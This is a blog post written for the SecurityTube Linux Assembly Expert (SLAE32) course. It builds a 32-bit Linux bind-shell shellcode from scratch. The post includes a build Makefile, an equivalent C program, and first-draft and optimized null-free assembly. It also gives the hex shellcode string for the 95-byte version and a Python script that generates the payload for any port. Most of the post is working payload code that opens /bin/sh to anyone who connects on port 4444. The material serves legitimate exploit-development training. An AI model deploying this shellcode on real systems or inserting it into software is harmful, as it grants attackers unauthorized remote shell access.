In the first assignment of the Securitytube Linux Asssembly Expert 32-bit, I had to create a Shell_Bind_TCP shellcode. As the shellcode development requires lots of repetitive and error prone tasks, I created a Makefile first to make my life easier. The Makefile can:
- compile the shellcode.asm file
- run the compiled shellcode
- debug the shellcode
- disassemble the compiled shellcode
- display the size of the shellcode with its string representation
- create a test file from a template which contains the string representation of the shellcode
- run the test
- debug the test
- clean up the created files
In order to compile the shellcode, compile the shellcode tester and run it, I simply enter these lines:
make
make test
make test-run
SHELLCODE=shellcode
TEST=test
all: build hex
all-test: test-build test-run
all-clean: clean test-clean
build: $(SHELLCODE).o
ld -m elf_i386 -o $(SHELLCODE) $(SHELLCODE).o
$(SHELLCODE).o: $(SHELLCODE).asm
nasm -f elf32 -o $(SHELLCODE).o $(SHELLCODE).asm
run: $(SHELLCODE)
./$(SHELLCODE)
debug: $(SHELLCODE)
gdb -q ./$(SHELLCODE) -tui
disassemble: $(SHELLCODE)
objdump -d $(SHELLCODE) -M intel
hex: $(SHELLCODE)
@echo "Size of shellcode:"
@size shellcode
@echo ""
@echo "Shellcode:"
@objdump -d ./$(SHELLCODE)|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:| \
cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed "s| $$||g" |sed "s/ /\\\\x/g"| \
paste -d '' -s | sed "s|^|\"|" | sed "s|$$|\"|g" > $(SHELLCODE).txt
@cat $(SHELLCODE).txt
clean:
rm -f $(SHELLCODE).txt
rm -f $(SHELLCODE).o
rm -f $(SHELLCODE)
test-build: $(TEST)
temp:
@cat $(SHELLCODE).txt | sed 's|\\|\\\\|g' > temp
$(TEST): $(SHELLCODE).txt temp
@sed 's/SHELLCODE/$(shell cat temp)/' $(TEST).c.template > $(TEST).c
gcc -m32 $(TEST).c -fno-stack-protector -z execstack -ggdb -o $(TEST)
@rm -f temp
test-run: $(TEST)
./$(TEST)
test-debug: $(TEST)
gdb -q ./$(TEST) -tui
test-clean:
rm -f $(TEST)
1. The pseudo code of the Shell_Bind_TCP
- Create a socket
- Bind the socket to a local port
- Put the socket into listening mode
- Accept the incoming connection
- Duplicate file handles of STDIN, STDOUT and STDERR with client socket
- Start /bin/sh
2. The source code of a C program that implements this behavior.
#include
#include
#include
#include
#include
#include
#define BIND_PORT 4444
main(int argc, char **argv)
{
int i, ret;
int socketServer;
int socketClient;
char *args[] = { "/bin/sh", 0 };
struct sockaddr_in server;
struct sockaddr_in client;
int sockaddr_len = sizeof(struct sockaddr_in);
// Create a socket
socketServer = socket(AF_INET, SOCK_STREAM, 0);
if (socketServer == -1)
{
exit(-1);
}
// Bind it to a local port
server.sin_family = AF_INET;
server.sin_port = htons(BIND_PORT);
server.sin_addr.s_addr = INADDR_ANY;
bzero(&server.sin_zero, 8);
ret = bind(socketServer,
(struct sockaddr *) &server, sockaddr_len);
if(ret == -1)
{
exit(-1);
}
// Start listening
ret = listen(socketServer, 2);
if(ret == -1)
{
exit(-1);
}
// Accept the incoming connection
socketClient = accept(socketServer,
(struct sockaddr *) &client, &sockaddr_len);
if(socketClient == -1)
{
exit(-1);
}
// Close the listening socket
close(socketServer);
// Duplicate file descriptors
for (i=0; i<=2; i++)
{
dup2(socketClient, i);
}
// Execute /bin/sh
execve(args[0], &args[0], NULL);
}
3. Before we start to create assembly code, we have to identify the constants and the used syscall numbers and parameters.
Syscalls are the interface between user programs and the Linux kernel. They are used to let the kernel perform various system tasks, such as file access, process management and networking. We can perform syscall with INT 0x80. The parameters should be placed into the registers in the following way:
The return value will be placed into the EAX register.
Some syscall requires a parameter as a memory address. In this case we can push the proper values onto the stack and use the ESP as the address to the memory structure. I added detailed comments to each syscall in the source code, so that the parameters can be understood there.
The syscall numbers can be found in /usr/include/x86_64-linux-gnu/asm/unistd_32.h and can be identified with this command:
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep <syscall_name>
socketcall = 102
dup2 = 63
execve = 11
The socketcall is a common kernel entry point for the socket system calls. The first parameter determines which socket function to invoke. The second parameter is a pointer to the arguments. More info can be get with:
man 2 socketcall
The most important socket function constants are:
SOCKET = 1
BIND = 2
CONNECT = 3
LISTEN = 4
ACCEPT = 5
The other socket related constants:
AF_INET = 2
SOCK_STREAM = 1
INADDR_ANY = 0
4. The first draft of the ASM code
global _start
section .text
_start:
; Create a socket
; eax = 102 (socketcall), ebx = 1 (socket),
; ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
mov eax, 102 ; syscall = socketcall
mov ebx, 1 ; socket = 1
push dword 0 ; args: protocol = 0
push dword 1 ; type = (SOCK_STREAM = 1)
push dword 2 ; domain = (AF_INET = 2)
mov ecx, esp ; pointer of args
int 0x80
; Save the returned socket to edi for later use, this is
; the first argument of the following syscalls
xchg edi, eax ; eax (socket) <=> edi
; Bind it to a local port
push word 0 ; socaddr: NULL
push word 0 ; INADDR_ANY = 0
push 0x5c110002 ; 0x5c11 = port 4444, AF_INET = 0x0002
mov ecx, esp
; eax = 102 (socketcall), ebx = 2 (bind),
; ecx = (socket, server struct, 16)
mov eax, 102 ; syscall = socketcall
mov ebx, 2 ; bind = 2
push dword 16 ; sockaddr_in: size of sockaddr_in
push ecx ; pointer of sockaddr_in
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Start listening
; eax = 102 (socketcall), ebx = 4 (listen), ecx = (socket, 2)
mov eax, 102 ; syscall = socketcall
mov ebx, 4 ; listen = 4
push dword 2 ; backlog
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Accept the incoming connection
; eax = 102 (socketcall), ebx = 5 (accept), ecx = (socket, 0, 0)
mov eax, 102 ; syscall = socketcall
mov ebx, 5 ; accept = 5
push dword 0 ; length of socket_addr struct
push dword 0 ; pointer to the socket_addr struct
push edi ; server socket
mov ecx, esp
int 0x80
; Save the client socket
xchg edi, eax ; eax (socket) <=> edi
; Duplicate file descriptor
; eax = 63 (dup2), ebx = old file descriptor (client socket)
; ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 0 ; new file descriptor = STDIN
int 0x80
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 1 ; new file descriptor = STDOUT
int 0x80
mov eax, 63 ; syscall = dup2
mov ebx, edi ; old file descriptor = client socket
mov ecx, 2 ; new file descriptor = STDERR
int 0x80
; execve syscall
xor eax, eax
push eax ; NULL
push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//
; First argument
mov ebx, esp ; pointer to '//bin/sh', 0x00
push eax ; NULL
; Third argument
mov edx, esp ; pointer to a NULL
push ebx ; pointer to '//bin/sh', 0x00
; Second argument
mov ecx, esp ; pointer to the pointer of '//bin/sh', 0x00
mov al, 11 ; syscall = execve = 11
int 0x80
The output of ‘make hex’ and ‘make disassemble’.
Size of shellcode:
text data bss dec hex filename
156 0 0 156 9c shellcode
Shellcode:
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02
\x89\xe1\xcd\x80\x97\x66\x6a\x00\x66\x6a\x00\x68\x02\x00\x11\x5c
\x89\xe1\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x10\x51\x57
\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x02
\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a
\x00\x6a\x00\x57\x89\xe1\xcd\x80\x97\xb8\x3f\x00\x00\x00\x89\xfb
\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x01
\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00
\x00\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
objdump -d shellcode -M intel
shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: b8 66 00 00 00 mov eax,0x66
8048065: bb 01 00 00 00 mov ebx,0x1
804806a: 6a 00 push 0x0
804806c: 6a 01 push 0x1
804806e: 6a 02 push 0x2
8048070: 89 e1 mov ecx,esp
8048072: cd 80 int 0x80
8048074: 97 xchg edi,eax
8048075: 66 6a 00 pushw 0x0
8048078: 66 6a 00 pushw 0x0
804807b: 68 02 00 11 5c push 0x5c110002
8048080: 89 e1 mov ecx,esp
8048082: b8 66 00 00 00 mov eax,0x66
8048087: bb 02 00 00 00 mov ebx,0x2
804808c: 6a 10 push 0x10
804808e: 51 push ecx
804808f: 57 push edi
8048090: 89 e1 mov ecx,esp
8048092: cd 80 int 0x80
8048094: b8 66 00 00 00 mov eax,0x66
8048099: bb 04 00 00 00 mov ebx,0x4
804809e: 6a 02 push 0x2
80480a0: 57 push edi
80480a1: 89 e1 mov ecx,esp
80480a3: cd 80 int 0x80
80480a5: b8 66 00 00 00 mov eax,0x66
80480aa: bb 05 00 00 00 mov ebx,0x5
80480af: 6a 00 push 0x0
80480b1: 6a 00 push 0x0
80480b3: 57 push edi
80480b4: 89 e1 mov ecx,esp
80480b6: cd 80 int 0x80
80480b8: 97 xchg edi,eax
80480b9: b8 3f 00 00 00 mov eax,0x3f
80480be: 89 fb mov ebx,edi
80480c0: b9 00 00 00 00 mov ecx,0x0
80480c5: cd 80 int 0x80
80480c7: b8 3f 00 00 00 mov eax,0x3f
80480cc: 89 fb mov ebx,edi
80480ce: b9 01 00 00 00 mov ecx,0x1
80480d3: cd 80 int 0x80
80480d5: b8 3f 00 00 00 mov eax,0x3f
80480da: 89 fb mov ebx,edi
80480dc: b9 02 00 00 00 mov ecx,0x2
80480e1: cd 80 int 0x80
80480e3: 31 c0 xor eax,eax
80480e5: 50 push eax
80480e6: 68 6e 2f 73 68 push 0x68732f6e
80480eb: 68 2f 2f 62 69 push 0x69622f2f
80480f0: 89 e3 mov ebx,esp
80480f2: 50 push eax
80480f3: 89 e2 mov edx,esp
80480f5: 53 push ebx
80480f6: 89 e1 mov ecx,esp
80480f8: b0 0b mov al,0xb
80480fa: cd 80 int 0x80
5. There are two main concerns with the first draft of the shellcode:
- the NULL characters should be removed
- the size of the shellcode should be as small as possible
These are the points which helps us accomplish this task:
- place the repetitive tasks into a loop or in a function
- xor reg1, reg1 is better than mov reg1, 0
- push reg1, pop reg2 is the same as mov reg2, reg1
- mul ebx, where ebx=0 initializes the eax and edx register to 0
- shift left is the same as multiplying with 2
- inc reg1 is better, than add reg1, 1 or mov reg1, 1
- use the initial values of the registers or the top of the stack if possible
- or reg1, value is the same as add reg1, value if the initial value of the register is 0
Removing the NULL characters and reducing the size of the shellcode requires several iteration. The best way to do it is fixing the register initialization first, then placing the repetitive task into a loop, finally the shellcode should be tested in the debugger. This final step helps removing the unnecessary steps, for example initializing the register with zero which is already zero.
The size of the original shellcode was 156 bytes, the enhanced shellcode is 95 bytes. The enhanced shellcode:
global _start
section .text
_start:
; Create a socket
; eax = 102 (socketcall), ebx = 1 (socket),
; ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
xor ebx, ebx
mul ebx
push eax
or al, 102 ; syscall = socketcall
inc ebx
push ebx
push byte 2 ; domain = (AF_INET = 2)
mov ecx, esp ; pointer of args
int 0x80
; Save the returned socket to edi for later use, this is
; the first argument of the following syscalls
xchg edi, eax ; eax (socket) <=> edi
; Bind it to a local port
inc ebx
push esi
push word 0x5c11; 0x5c11 = port 4444
push bx ; AF_INET = 0x0002
mov ecx, esp
; eax = 102 (socketcall), ebx = 2 (bind),
; ecx = (socket, server struct, 16)
add al, 102 ; syscall = socketcall
push dword 16 ; sockaddr_in: size of sockaddr_in
push ecx ; pointer of sockaddr_in
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Start listening
; eax = 102 (socketcall), ebx = 4 (listen), ecx = (socket, 2)
add al, 102 ; syscall = socketcall
push ebx ; backlog = 2
shl bl, 1 ; listen = 4
push edi ; server socket
mov ecx, esp ; pointer of args
int 0x80
; Accept the incoming connection
; eax = 102 (socketcall), ebx = 5 (accept), ecx = (socket, 0, 0)
add al, 102 ; syscall = socketcall
inc bl ; ebx = 5 (accept)
push esi ; length of socket_addr struct
push esi ; pointer to the socket_addr struct
push edi ; server socket
mov ecx, esp
int 0x80
; Save the client socket
xchg ebx, eax ; eax (socket) <=> edi
; Duplicate file descriptor
; eax = 63 (dup2), ebx = old file descriptor (client socket)
; ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
xor ecx, ecx
add cl, 2 ; new file descriptor
dup2_loop:
xor eax, eax
add al, 63 ; syscall = dup2
int 0x80
dec ecx
jns dup2_loop
; execve syscall
;xor eax, eax
push eax ; NULL
push 0x68732f6e ; hs/n
push 0x69622f2f ; ib//
; First argument
mov ebx, esp ; pointer to '//bin/sh', 0x00
push eax ; NULL
; Third argument
mov edx, esp ; pointer to a NULL
push ebx ; pointer to '//bin/sh', 0x00
; Second argument
mov ecx, esp ; pointer to the pointer of '//bin/sh', 0x00
mov al, 11 ; syscall = execve = 11
int 0x80
The shellcode in action:
6. The port number should be configurable. We can accomplish it if we find the 0x5c11 (=4444) in the shellcode and replace it with the new port number. However there is a problem here. If one of the two bytes contains NULL, the shellcode will not work. We can fix this problem if we replace the entire push instruction in this case. The solution: add one to the byte which is zero, initialize a register with this incremented value, decrement the incremented byte, then push the register value onto the stack.
I created a python script which handles these special cases.
#!/usr/bin/python
shellcode1 = "\\x31\\xdb\\xf7\\xe3\\x50\\x04\\x66\\x43\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x97\\x43\\x56"
#\\x66\\x68\\x11\\x5c
shellcode2 = "\\x66\\x53\\x89\\xe1\\x04\\x66\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x04\\x66\\x53\\xd0\\xe3\\x57\\x89\\xe1\\xcd\\x80\\x04\\x66\\xfe\\xc3\\x56\\x56\\x57\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\x80\\xc1\\x02\\x31\\xc0\\x04\\x3f\\xcd\\x80\\x49\\x79\\xf7\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
str = input("Enter port number: ")
portnum = int(str)
if portnum < 1 or portnum > 65535:
print "Invalid range"
else:
upper = portnum / 256
lower = portnum % 256
upperHex = "\\" + hex(upper)[1:]
lowerHex = "\\" + hex(lower)[1:]
shellcodeLen = 95
variablePart = ""
if upper == 0:
# 31 c9 xor ecx,ecx
# 66 81 c1 01 50 add cx,0x5001 ; port = 80, 0x5000
# fe c9 dec cl
# 66 51 push cx
upper += 1
upperHex = "\\" + hex(upper)[1:]
variablePart = "\\x31\\xc9\\x66\\x81\\xc1" + upperHex + lowerHex + "\\xfe\\xc9\\x66\\x51"
shellcodeLen = 102
elif lower == 0:
# 31 c9 xor ecx,ecx
# 66 81 c1 50 01 add cx,0x150 ; port = 20480, 0x0050
# fe cd dec ch
# 66 51 push cx
lower += 1
lowerHex = "\\" + hex(lower)[1:]
variablePart = "\\x31\\xc9\\x66\\x81\\xc1" + upperHex + lowerHex + "\\xfe\\xcd\\x66\\x51"
shellcodeLen = 102
else:
# 66 68 11 5c pushw 0x5c11 ; port = 4444, 0x115c
variablePart = "\\x66\\x68" + upperHex + lowerHex
shellcodeLen = 95
print ""
print "Length of shellcode: %d bytes" % (shellcodeLen)
print ""
print "Shellcode: \"" + shellcode1 + variablePart + shellcode2 + "\""
print ""
* * * * *
The source codes can be found on github:
https://github.com/sh3llc0d3r1337/SLAE32-shell_bind_tcp
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-691